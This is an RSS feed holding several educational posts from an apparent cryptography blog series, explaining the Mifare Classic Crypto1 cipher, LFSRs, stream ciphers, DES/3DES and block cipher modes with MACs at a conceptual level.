		<guid isPermaLink="false">http://www.limited-entropy.com/?p=408</guid>
		<description><![CDATA[Let's go back into Cryptography. This time I'll tell you how the (in)famous Crypto1 cipher works. It is used in the Mifare Classic RFID tags, typically used for building access control but also for many other systems such as the Oyster Card in London, the OV-Chipkaar in The Netherlands, etc. We won't talk about the [...]]]></description>
			<content:encoded><![CDATA[<p>Let's go back into Cryptography. This time I'll tell you how the (in)famous Crypto1 cipher  works. It is used in the Mifare Classic RFID tags, typically used for building access control but also for many other systems such as the Oyster Card in London, the OV-Chipkaar in The Netherlands, etc.</p>
<p>We won't talk about the protocol details, nor about how the published attacks work. You'll find a couple of interesting links at the end though <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>Note: Images obtained from the  papers linked at the end of the post.</p>
<p><strong>The Crypto1 cipher</strong></p>
<p>Crypto1 is a proprietary stream chiper from NXP found in the RFID tags from the Mifare Classic family. At first, it was studied by Karsten Nohl reverse engineering the chip itself. This information was published in the CCC 07, although not many details about the cipher were published.</p>
<p>In parallel, the Radboud Universiteit from Nijmegen was studying this kind of cards and with the help of the information published at CCC completely reverse engineered the cipher and published the details. Let's see how it works then...</p>
<p><span id="more-408"></span></p>
<p>Crypto1 is an LFSR based cipher, which uses just an LFSR with a linear feedback function and a filter function to generate the output stream (<em>keystream</em>):</p>
<div id="attachment_415" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1_overview.png"><img class="size-medium wp-image-415" title="Crypto1 - Overall structure" src="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1_overview-300x158.png" alt="Crypto1 - Overall structure" width="300" height="158" /></a><p class="wp-caption-text">Crypto1 - Overall structure</p></div>
<p>The overall structure of the cipher was revealed in the presentation at CCC, but the generating polynomian (the feedback function used by the LFSR) and the filter function was not. The generating polynomial, published by Karsten Nohl et al at Usenix'08, is as follows:</p>
<img src='http://s.wordpress.com/latex.php?latex=g%28x%29%20%3D%20x%5E%7B48%7D%20%2B%20x%5E%7B43%7D%20%2B%20x%5E%7B39%7D%20%2B%20x%5E%7B38%7D%20%2B%20x%5E%7B36%7D%20%2B%20x%5E%7B34%7D%20%2B%20x%5E%7B33%7D%20%2B%20x%5E%7B31%7D%20%2B%20x%5E%7B29%7D%2Bx%5E%7B24%7D%20%2B%20x%5E%7B23%7D%20%2B%20x%5E%7B21%7D%20%2B%20x%5E%7B19%7D%20%2B%20x%5E%7B13%7D%20%2B%20x%5E9%20%2B%20x%5E7%20%2B%20x%5E6%20%2B%20x%5E5%20%2B%201%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='g(x) = x^{48} + x^{43} + x^{39} + x^{38} + x^{36} + x^{34} + x^{33} + x^{31} + x^{29}+x^{24} + x^{23} + x^{21} + x^{19} + x^{13} + x^9 + x^7 + x^6 + x^5 + 1 ' title='g(x) = x^{48} + x^{43} + x^{39} + x^{38} + x^{36} + x^{34} + x^{33} + x^{31} + x^{29}+x^{24} + x^{23} + x^{21} + x^{19} + x^{13} + x^9 + x^7 + x^6 + x^5 + 1 ' class='latex' />
<p style="text-align: left;">This means that bits 43,39,38...,7,6,5,0 are used to create the new bit that will be shifted into the register. Further, the input bit is used and a XOR of all them is executed to generated the next bit. This polynomial is <em>primitive</em>: irreducible and generates all the <img src='http://s.wordpress.com/latex.php?latex=2%5E%7B48%7D-1&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='2^{48}-1' title='2^{48}-1' class='latex' /> possible states before cycling back to the initial state.</p>
<p style="text-align: left;">On the other hand,the filter functions were published by the people from RU Nijmegen at Esorics'08. The following picture shows those filter functions together with the rest of the cipher.</p>
<p style="text-align: left;">
<div id="attachment_416" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1.png"><img class="size-medium wp-image-416" title="Crypto1 - Detailed structure" src="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1-300x75.png" alt="Crypto1 - Detailed structure" width="300" height="75" /></a><p class="wp-caption-text">Crypto1 - Detailed structure</p></div>
<p style="text-align: left;">Each of the hexadecimal numbers identifying the filter functions should be read as a bitmap where the left-most bit will be produced as an output of the filter function when the input was <em>all-ones</em> while the right-most bit will be produced as an output when the input was <em>all-zero</em>. For instance, 0x26c7 in binary form would be:</p>
<p style="text-align: center;">0010 0110 1100 0111</p>
<p style="text-align: left;">Which means that for inputs (1,1,1,1), (1,1,1,0), (1,1,0,0), (1,0,0,1), (0,1,1,0), (0,1,0,1)  and (0,1,0,0) the result of the filter function would be 0, and 1 otherwise.</p>
<p><strong>Links<br />
</strong></p>
<p>This completes the description of the Crypto1 cipher used by Mifare Classic chips. I don't want to get into more details about the structure of the cipher and the protocol, because I didn't look at it in depth amongst other reasons, so for more information you can follow these links:</p>
<p><a href="http://www.cs.virginia.edu/~evans/pubs/usenix08/usenix08.pdf">Reverse-Engineering a Cryptographic RFID Tag - Karsten Nohl et al. Usenix'08</a></p>
<p><a href="http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf">Dismantling MIFARE Classic - Flavio D. Garcia et al. (RU Nijmegen). Esorics'08</a></p>
<p><a href="http://www.cs.ru.nl/~erikpoll/hw/slides/2008-12-01%20Mifare%20Lecture.pdf">Lecture on Mifare Classic from HW and OS Security course at RU Nijmegen</a></p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-mifare-crypto1" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-mifare-crypto1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linear Feedback Shift Registers (LFSRs)</title>
		<link>http://www.limited-entropy.com/lfsrs</link>
		<comments>http://www.limited-entropy.com/lfsrs#comments</comments>
		<pubDate>Sun, 13 Sep 2009 18:16:56 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=389</guid>
		<description><![CDATA[In this post I'll provide a very simple description of linear feedback shift registers (LFSR for short). Further, we'll see how they are used to create stream ciphers. And all these things without going into mathematical details, for which I refer the interested reader to documents such as the Handbook of Applied Cryptography or this [...]]]></description>
			<content:encoded><![CDATA[<p>In this post I'll provide a very simple description of linear feedback shift registers (LFSR for short). Further, we'll see how they are used to create <em>stream ciphers</em>. And all these things without going into mathematical details, for which I refer the interested reader to documents such as the <a href="http://www.cacr.math.uwaterloo.ca/hac/"><em>Handbook of Applied Cryptography</em></a> or this <a href="http://www.newwaveinstruments.com/resources/articles/m_sequence_linear_feedback_shift_register_lfsr.htm">LFSR Reference</a>.</p>
<p><strong>Shift Registers</strong></p>
<p>A shift register is basically a construction with interconnected several memory cells, where every cell stores one bit. So, the value of these cells conforms the so-called <em>state</em> of the register. When the register steps from one state to the next one (usually at each clock tick), the new state is created by simply shifting the bit in a cell to the cell next to it. Thus, the right-most bit <em>goes out</em> of the register, and a new bit <em>goes into</em> the left-most cell.</p>
<p>In this picture we can see an implementation of a 4 bit shift register:</p>
<div class="wp-caption aligncenter" style="width: 423px"><img title="Registro de desplazamiento" src="http://upload.wikimedia.org/wikipedia/commons/a/a1/4-Bit_SIPO_Shift_Register.png" alt="Registro de desplazamiento" width="413" height="141" /><p class="wp-caption-text">Shift register</p></div>
<p>We can see an input line (<em>Data in</em>), 4 points where one can read the current state (Q1-Q4) and a clock input, which governs the register telling it in which moment it should step into the next state.</p>
<p><strong>Linear Feedback Shift Registers (LFSRs)</strong></p>
<p>Well, once you know what a shift register is, it is fairly straightforward to understand how a LFSR works. We just take the previous register and set the input as a linear combination of the different cells. Since there is a loop which <em>feeds</em> the register based on its previous state, we have <em>feedback</em>. Further, since this feedback is based on a linear function, then we have <em>linear feedback</em>, hence the name <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<div class="wp-caption aligncenter" style="width: 476px"><a><img title="LFSR" src="http://www.newwaveinstruments.com/resources/articles/images/m_sequence_linear_feedback_shift_register_lfsr/Fibonacci_LFSR.gif" alt="LFSR" width="466" height="101" /></a><p class="wp-caption-text">LFSR</p></div>
<p><strong>LFSRs' use in cryptography</strong></p>
<p>So far, you probably have guessed that the main use of an LFSR in encryption systems is generating a series of <em>pseudo-random</em> bits to be used as a <em>key stream</em> in a stream cipher.</p>
<p>The idea is to generate a stream of bits with the minimum repetition possible, i.e. with maximal period. For its study, the connections in an LFSR are usually represented as a <em>polynomial</em> and the properties such a polynomial needs to meet to achieve maximal period are analyzed.</p>
<p>Basically, we need to get the LFSR to run through all its possible states before going back into the first one. So, if we have 16 bit registers, we'd want to have the LFSR pass through the 2^16-1 states before cycling back to the first one. And yes, I said 2^16-1 instead of 2^16 because the zero state should never appear. Otherwise the LFSR will never leave this state, since the feedback function is linear. For the curious readers, an LFSR will have maximal period if its <em>generating polynomial</em> is a so-called <em>primitive polynomial</em> (I'm pretty sure this name will ring a bell for some of you guys, although maybe not as a happy memory <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ).</p>
<p>Setting aside the study of these polynomials, which involves somewhat comlex maths (to my non-mathematician opinion <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_lol.gif' alt=':lol:' class='wp-smiley' />  ), an LFSR by itself should not be used as a <em>key stream</em> generator because its properties make it fairly predictable. In fact, given an <em>n</em> bit LFSR, obtaining <em>2n</em> bits of its output it is possible to recover the <em>generating polynomial</em> and be able to decrypt any subsequent text.</p>
<p>Therefore, LFSRs are not directly used in crypto, but they are generally used in one of these modes:</p>
<ul>
<li>Nonlinear combination of LFSRs: the output from several LFSRs is combined in a non-linear fashion to obtain a key stream.</li>
<li>Nonlinear filter generator: the output is generated from a non-linear combination of the state.</li>
<li>Clock-controlled generators: In this mode, several LFSRs step based on some rules, instead of stepping for every clock cycle.</li>
</ul>
<p>With this kind of constructions it is possible to improve LFSR's properties for the creation of <em>secure</em> stream ciphers. And that's it for LFSRs from my side, for more information refer to these references:</p>
<p><a href="http://www.cacr.math.uwaterloo.ca/hac/"><em>Handbook of Applied Cryptography</em></a></p>
<p><a href="http://www.newwaveinstruments.com/resources/articles/m_sequence_linear_feedback_shift_register_lfsr.htm"> LFSR Reference</a></p>
<p><a href="http://en.wikipedia.org/wiki/Linear_feedback_shift_register">LFSR</a> @ <a href="http://en.wikipedia.org/">Wikipedia</a></p>
<p><strong><br />
</strong></p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/lfsrs" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/lfsrs/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Introduction to stream ciphers</title>
		<link>http://www.limited-entropy.com/crypto-series-stream-ciphers</link>
		<comments>http://www.limited-entropy.com/crypto-series-stream-ciphers#comments</comments>
		<pubDate>Thu, 03 Sep 2009 21:30:21 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=371</guid>
		<description><![CDATA[Today we're gonna step a little further in our Crypto series. We'll see the main properties of the so-called Stream Ciphers, how they work and some things that should be taken into account when they are used. Later in this series, we'll see how Linear Feedback Shift Registes (LFSR) work and we'll see one of [...]]]></description>
			<content:encoded><![CDATA[<p>Today we're gonna step a little further in our Crypto series. We'll see the main properties of the so-called <em>Stream Ciphers</em>, how they work and some things that should be taken into account when they are used.</p>
<p>Later in this series, we'll see how Linear Feedback Shift Registes (LFSR) work and we'll see one of the most used stream ciphers, together with an example of wrong usage.</p>
<p>Keep on reading to learn more about this class of ciphers.</p>
<p><span id="more-371"></span></p>
<p><strong>General features</strong></p>
<p>As opposed to <a href="http://www.limited-entropy.com/en/crypto-series-block-ciphers">block ciphers</a>, a <strong>stream cipher</strong> does not divide the plaintext in <em>big</em> blocks where the cipher is applied, but instead it encrypts individual information elements such as bits, bytes or characters.</p>
<p>Generally, based on an <strong>initial key<em> </em></strong>a stream cipher <strong>derives </strong>a series of characters known as the <strong>key stream</strong> which is then mixed with the input data, or <strong>data stream</strong>, generally by means of an exclusive or operation.</p>
<p>This is based on the <em>One Time Pad (OTP)</em> concept, which we didn't mention earlier in this blog but most likely you have already heard of it. The OTP is a cryptographic algorithm which simply generates a random key as long as the message to be encrypted and mixes both, by means of a XOR operation in digital communications.</p>
<p>The properties of the OTP algorithm offer <em>absolute confidentiality</em> in the sense that the cryptogram does not reveal any information about the message contents, at the cost of a key as long as the message itself. Obviously, this makes key management not practical at all: where before we had the problem of sending a message of length L in a secure way, now we can send the encrypted message without any fear but still we need to send a key of length L... which leaves us with an equivalent problem!</p>
<p>Following this philosophy of using random keys as long as messages, the stream ciphers that we are analyzing today were invented. To that end, as I explained above, they try to derive a series of <em>pseudo-random</em> characters based on a secret key. This way, one obtains similar properties to the OTP algorithm reducing the complexity of key management... but of course this also reduces the randomness of the key stream.</p>
<p><strong>Stream cipher classification</strong></p>
<p>Stream ciphers are usually divided into two groups: synchronous and self-synchronizing stream ciphers. Most stream ciphers proposed so far are <strong>synchronous ciphers</strong>, where the <strong>keystream</strong> is generated <strong>independently of the plaintext and</strong> the <strong>ciphertext</strong>. Therefore, these ciphers require both ends of the communication to be sinchronized, and if a single digit of the cryptogram is lost the rest of the plaintext will be unrecoverable (unless error-correcting techniques are used).</p>
<p>Further, in these systems errors are not propagated besides one single character. This allows an active attacker to modify the contents of the ciphertext without detection. For instance, in a system as the one commented at the beginning, where a XOR of the <em>keystream</em> and the <em>data stream</em> is performed, one could just flip a bit in the decrypted plaintext by flipping the same bit in the cyphertext.</p>
<p>On the other hand, <strong>self-synchronizing ciphers</strong> generate a <strong>keystream dependant on the key and </strong>part of the previous <strong>ciphertext</strong>. Therefore, since a given character depends on the previous ciphertext character, if an error occurs it is possible to resynchronize after some time: we just need to discard as many characters as needed so that the keystream doesn't depend anymore on the corrupted ciphertext.</p>
<p><strong>Some security considerations</strong></p>
<p>It is extremely important in a stream cipher that the key stream does not frequently repeat, especially on those ciphers which use an additive function (i.e. XOR) to mix keystream and data stream. The reason is quite simple: if a given message is compromised but the key is not, any message that uses the same key stream could be compromised simply XORing the known keystream and the ciphertext.</p>
<p>Further, in case a message is not compromised but one obtains several messages encrypted with the same key stream, XORing both messages it is possible to remove the influence of the key stream: we would have the XOR of both initial plain texts. This way, we could possibly obtain information on the transmitted messages (structure, statistical properties, ...) that would help us to break the messages.</p>
<p>We could see an example of this method at Campus Party, where <em>Cucaracha</em> decrypted two ciphertexts encrypted using RC4 based on the knowledge that the language was Spanish and guessing the first message and applying the resulting key stream to the second message to see whether the output was sensible or not. It's completely logical, although requires a detailed work and I have to admit that at first I was shocked when he told me that he got the messages but not the key <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_lol.gif' alt=':lol:' class='wp-smiley' /> </p>
<p>To avoid this kind of problems, normally an initialization vector (IV) is used to initiate the cipher and have a different keystream each time. Therefore, it is important that the IV is not reused very often.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-stream-ciphers" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-stream-ciphers/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Block Ciphers &#8211; Data Encryption Standard (DES)</title>
		<link>http://www.limited-entropy.com/crypto-series-block-ciphers-des</link>
		<comments>http://www.limited-entropy.com/crypto-series-block-ciphers-des#comments</comments>
		<pubDate>Tue, 23 Jun 2009 19:12:33 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=273</guid>
		<description><![CDATA[The Data Encryption Standard ( DES ) was designed by IBM in 1973 as a submit for a call for proposals by the National Bureau of Standards of the United States.  There was some controversy regarding to the involvement of the NSA in the development of the cipher, especially to the mysterious S-boxes and the [...]]]></description>
			<content:encoded><![CDATA[<p>The Data Encryption Standard ( DES ) was designed by IBM in 1973 as a submit for a call for proposals by the National Bureau of Standards of the United States.  There was some controversy regarding to the involvement of the NSA in the development of the cipher, especially to the <em>mysterious</em> S-boxes and the reduced key size used, but years later it was shown that the S-boxes used where more resistant to Differential Cryptanalysis than if they had been selected at random.</p>
<p>The algorithm was approved as a FIPS standard in 1976, and revised up to three times in 1988,1993 and 1999. The last revision FIPS-46-3 describes the 3DES extension as a method to enlarge the key size of the DES cipher by using 3 DES operations in a row, encrypting the first time, decrypting the second time, and encrypting again the third time. This was done in order to withstand an efficient brute force attack published in 1998.</p>
<p>After the break (click <em>Read more!</em>) we'll see how it works and the main components of the algorithm.</p>
<p>NOTE: All images in this post are directly linked to Wikipedia. If the images are not visible anymore, let me know in the comments and I'll post my own version of the images.<span id="more-273"></span></p>
<p><strong>DES structure</strong></p>
<p>DES is a block cipher which encrypts 64 bits blocks under a 56 bits key. Actually, normally one supplies the DES algorithm with a 64 bits key, but the lowest significant bit of each key byte is not used for the encryption and could be used for parity checking.</p>
<p>The overall structure of DES is depicted in the following figure:</p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 394px"><img title="DES structure" src="http://upload.wikimedia.org/wikipedia/commons/6/6a/DES-main-network.png" alt="DES structure" width="384" height="1035" /><p class="wp-caption-text">DES structure</p></div></p>
<p>It starts by applying the so called Initial Permutation (IP), which obviously performs a permutation, i.e. scrambles the input bits. Then the data block is divided into the upper 32 bits (L0) and the lower 32 bits (Ro) creating a left and a right part. Now 16 identical rounds are applied: a function <strong>F (Feistel's function)</strong> is applied to the right half and a <strong>round key</strong>, and the result is XORed with the left half. Then both halves are swapped.</p>
<p>After the 16 rounds have been applied, a Final Permutation (FP) is applied. This permutation is actually the inverse of the Initial Permutation ( <img src='http://s.wordpress.com/latex.php?latex=FP%20%3D%20IP%5E%7B-1%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='FP = IP^{-1}' title='FP = IP^{-1}' class='latex' /> ). All these things together conform what we call a Feistel's network, with a great property: we can decrypt the ciphertext with the same algorithm, changing only the order in which we apply the round keys.</p>
<p>This means that the decryption process for DES is identical to the encryption process. Only that round key 16 is applied first, then round key 15, and so on.</p>
<p><strong>The F function</strong></p>
<p>The F function is at the very core of the DES cipher. As explained above, this function is applied in each round to the right half and the round key, and its output is XORed with the left half. At the beginning of the F function, there is an <strong>Expansion function</strong> (<em><strong>E</strong></em>), which expands the 32 bits input into 48 bits. These 48 bits are then XORed with the 48 bits round key coming from the key scheduling algorithm.</p>
<p>Then, these 48 bits are supplied in groups of 6 bits to the S-boxes. The S-boxes are just substitution functions, which are implemented as a substitution table, and output 4 bits each one. Therefore, the output of the 8 S-boxes is again 32 bits, same size as the input and output of the F function. After the S-boxes, a permutation, P, is applied. The output of the permutation is the result of the F function.</p>
<div class="wp-caption aligncenter" style="width: 394px"><img title="Feistels function" src="http://upload.wikimedia.org/wikipedia/commons/a/a3/DES-f-function.png" alt="Feistels function" width="384" height="370" /><p class="wp-caption-text">Feistel&#39;s function</p></div>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong>Key Scheduling</strong></p>
<p>In order to have the complete picture of how DES works, we still need to know how the <em>round keys</em> are computed from the DES key. This is done by the so-called key scheduling algorithm, which can be run in parallel with the DES cipher or precomputed and stored in a table of round keys.</p>
<p>The process looks like this:</p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 190px"><img title="DES key schedule" src="http://upload.wikimedia.org/wikipedia/commons/0/06/DES-key-schedule.png" alt="DES key schedule" width="180" height="295" /><p class="wp-caption-text">DES key schedule</p></div>
<p style="text-align: left;">First, a permutation PC1 is performed. The name comes from <em>Permuted Choice</em>, due to the fact that this permutation also <em>choses</em> some bits from the key: the last bit of each byte (i.e, bits 8,16, etc) is discarded as we said earlier, and the rest are used for the permutation.</p>
<p style="text-align: left;">After this, the structure is repeated for each round key: the result of applying PC1 is divided into left and right halves, these halves are shifted (cyclically) one or two bits to the left depending on the round number. After that, the shifted key is fed to a second permutation, PC2, which selects 48 bits out of the 56 input bits.</p>
<p style="text-align: left;"><strong>Detailed information</strong></p>
<p style="text-align: left;">So far, we've seen how DES works. However, you wouldn't be able to implement the DES algorithm without knowing exactly how permutations, expansion functions and S-boxes actually modify the data. To that end, you can go to the standard itself or to the <a href="http://en.wikipedia.org/wiki/DES_supplementary_material">DES Supplementary material</a> page on Wikipedia.</p>
<p style="text-align: left;">As usual, implementing your own crypto is not recommended. Do it only for educational purposes, otherwise things could easily go VERY wrong.</p>
<p><strong>Triple DES</strong></p>
<p>As explained in the introduction of this article, a brute force attack to DES was presented long ago. This attack motivated the introduction of a new variant of DES. This variant, called <em>triple DES</em>, uses three DES operations in a row to enlarge the key space.</p>
<p style="text-align: left;">Typically the data is DES encrypted with key K1, then decrypted with key K2, and then encrypted again with key K1. This raises the key length to 112 bits (8 bits of K1 and 8 bits of K2 are discarded by PC1), which makes a brute force attack much more difficult.</p>
<p style="text-align: left;">There exists also a 3DES variant which uses three different keys, achieving a key size of 168 bits. Of course, 3DES can also be used with 3 identical keys. This would give you a DES encryption and allow devices that do not implement 3DES to be used together with devices that implement 3DES.</p></p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-block-ciphers-des" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-block-ciphers-des/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Crypto Series: Block ciphers</title>
		<link>http://www.limited-entropy.com/crypto-series-block-ciphers</link>
		<comments>http://www.limited-entropy.com/crypto-series-block-ciphers#comments</comments>
		<pubDate>Mon, 15 Jun 2009 06:00:40 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Crypto Series]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=279</guid>
		<description><![CDATA[In this entry we introduce block ciphers in a general way, as well as its modes of operation. Further, we'll see how to generate message authentication codes (MAC) using block ciphers. Block ciphers As we already said in the previous entry, block ciphers are symmetric ciphers which encrypt fixed length blocks. Therefore, a block cipher [...]]]></description>
			<content:encoded><![CDATA[<p>In this entry we introduce block ciphers in a general way, as well as its modes of operation. Further, we'll see how to generate message authentication codes (MAC) using block ciphers.</p>
<p><strong>Block ciphers</strong></p>
<p>As we already said in the <a href="http://www.limited-entropy.com/crypto-series-intro-modren-cryptography">previous entry</a>, block ciphers are <strong>symmetric ciphers</strong> which encrypt <strong>fixed length blocks</strong>. Therefore, a block cipher generally applies a series of operations combining the input block and the secret key (which isn't necessarily the same length) to obtain the output block (ciphertext).</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=c%3DE_K%28m%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c=E_K(m)' title='c=E_K(m)' class='latex' /></p>
<p>Since they are symmetric, the decryption primitive uses the same key as the encryption primitive, and applies the operations needed to get back the plaintext at its output:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=m%5Eprime%3DE%5E%7B-1%7D_K%28E_K%28m%29%29%3Dm%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m^prime=E^{-1}_K(E_K(m))=m ' title='m^prime=E^{-1}_K(E_K(m))=m ' class='latex' /></p>
<p style="text-align: left;">Most block ciphers can be classified as <em>product ciphers </em>or <em>iterative block ciphers</em>, based on a series of basic operations (<em>rounds</em>) which are repeated a number of times. These <em>rounds</em> provide <em>confusion</em> and <em>difusion</em> to the cipher, two concepts identified by <a href="http://en.wikipedia.org/wiki/Claude_Elwood_Shannon"><em>Shannon</em></a> in his famous treaty about communication theory.</p>
<p style="text-align: left;"><em>Confusion</em> refers to breaking the relationship between ciphertext and key as much as possible, while <em>diffusion</em> refers to destroying the statistical characteristics of the message source. Shannon identified these concepts and established the need for a secure cipher to provide them.</p>
<p>These kind of ciphers are generally Substitution-Permutation Networks (SPN), where several permutations (scrambling) and substitutions (changing values for others) take place one after the other, using a key, trying to achieve the goal: destroy the statistical properties of the source and obtain a secure cipher.</p>
<p style="text-align: left;">In subsequent entries we'll see how DES and AES, two well-known symmetric encryption standards, work. The remaining of this article treats block cipher modes of operation and how to authenticate messages using these ciphers.</p>
<p><span id="more-279"></span><strong>Modes of operation</strong></p>
<p>We'll see now some constructions that allow the use of a block cipher to encrypt texts larger than the block length. Some of them can be viewed as <em>stream ciphers</em> in which a <em>key stream</em> is generated and gets mixed with the plaintext.</p>
<p>First, we'll see the most simple way of using a block cipher. The construction that would come to every mind would be dividing the plaintext in blocks of the suitable length and encrypt each of them. This is what we call <strong>Electronic Codebook Mode (ECB)</strong>, and as can easily be observed, it mantains the structure of the plaintext at the block level (not inside blocks): two identical blocks produce the same ciphertext under the same key.</p>
<p>After ECB, one of the most famous modes is the <strong>Cipher Block Chaining (CBC)</strong>. In this case, the plaintext is also divided into several blocks, but before encrypting them with the secret key, they are XORed with the previous ciphertext block:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=c_i%20%3D%20E_K%28m_i%20oplus%20c_%7Bi-1%7D%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_i = E_K(m_i oplus c_{i-1}) ' title='c_i = E_K(m_i oplus c_{i-1}) ' class='latex' /></p>
<p style="text-align: left;">Where <img src='http://s.wordpress.com/latex.php?latex=c_0&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_0' title='c_0' class='latex' /> would be the so called <em>Intialization Vector (IV)</em>, which can be different each time but doesn't need to be secret. Actually, it's usually known, either being a fixed value defined in the concrete protocol's specifications or sent together with the message as a header.</p>
<p style="text-align: left;">In this way, each encrypted block depends on each one of the previous blocks. A simple bit change in one of the blocks would produce a cascade effect and make the remaining blocks completely different. Clearly, message structure at the block level is not revealed. This is well illustrated in the following image from Wikipedia:</p>
<p><div class="wp-caption aligncenter" style="width: 206px"><img title="TuX cifrado en modo ECB" src="http://upload.wikimedia.org/wikipedia/commons/f/f0/Tux_ecb.jpg" alt="TuX cifrado en modo ECB" width="196" height="216" /><p class="wp-caption-text">TuX encrypted using ECB</p></div><br />
<div class="wp-caption aligncenter" style="width: 206px"><img title="TuX cifrado usando un modo seguro" src="http://upload.wikimedia.org/wikipedia/commons/a/a0/Tux_secure.jpg" alt="TuX cifrado usando un modo seguro" width="196" height="216" /><p class="wp-caption-text">TuX encrypted using a secure cipher</p></div></p>
<p>But not only CBC exists. For instance, the <strong>Output Feedback Mode (OFB)</strong> generates a bit stream to be used as a key, in the most pure stream cipher style. The cipher is initialized with an IV in the same way as CBC, but it is encrypted using the secret key. The resulting block has the <em>k</em> initial bits of key stream, which are XORed with the plaintext to produce the ciphertext.</p>
<p>To generate the next <em>keystream</em> bits, the previous block is used. Using the usual notation:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=O_0%3DIV&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='O_0=IV' title='O_0=IV' class='latex' /></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=O_i%20%3D%20E_K%28O_%7Bi-1%7D%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='O_i = E_K(O_{i-1})' title='O_i = E_K(O_{i-1})' class='latex' /></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=c_i%20%3D%20m_i%20oplus%20O_i&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_i = m_i oplus O_i' title='c_i = m_i oplus O_i' class='latex' /></p>
<p style="text-align: left;">Obviously, decryption will be performed calculating the same <em>keystream</em> and XORing it with the ciphertext. This construction creates a <em>stream cipher</em>, and as other stream ciphers, if one bit is flipped in the plaintext, it will also be flipped in the ciphertext (and the other way around) due to the usage of XOR.</p>
<p style="text-align: left;">Another quite common mode is the counter mode (<strong>CTR)</strong>, in which a counter is used at the input of the block cipher, and the output is used in the same mode as in <strong>OFB </strong>mode.</p>
<p style="text-align: left;">These are not all the existing modes, but the intention is simply to provide an overview of the options and to refer the interested reader to other sources. See for instance the famous <em>Applied Cryptography</em> from Bruce Schneier, or the <a href="http://www.cacr.math.uwaterloo.ca/hac/"><em>Handbook of Applied Cryptography</em></a><em>.</em></p>
<p><strong>Message Authentication Codes</strong></p>
<p>One of the problems that Cryptography's tried to solve, is the authentication of the data origin. This is, trying to assure that a message has been actually created by a certain person, machine or, more in general, entity. The solution to this problem based using symmetric crypto is known as <strong><em>Message Authentication Codes, </em></strong><em>or</em><strong><em> MACs</em></strong>.</p>
<p>These codes are just a block of groups generated by some alrogithm using a secret key and a plaintext message. The most common construction for generating these codes is based on using a block cipher in CBC mode, but taking just the last block as the MAC.</p>
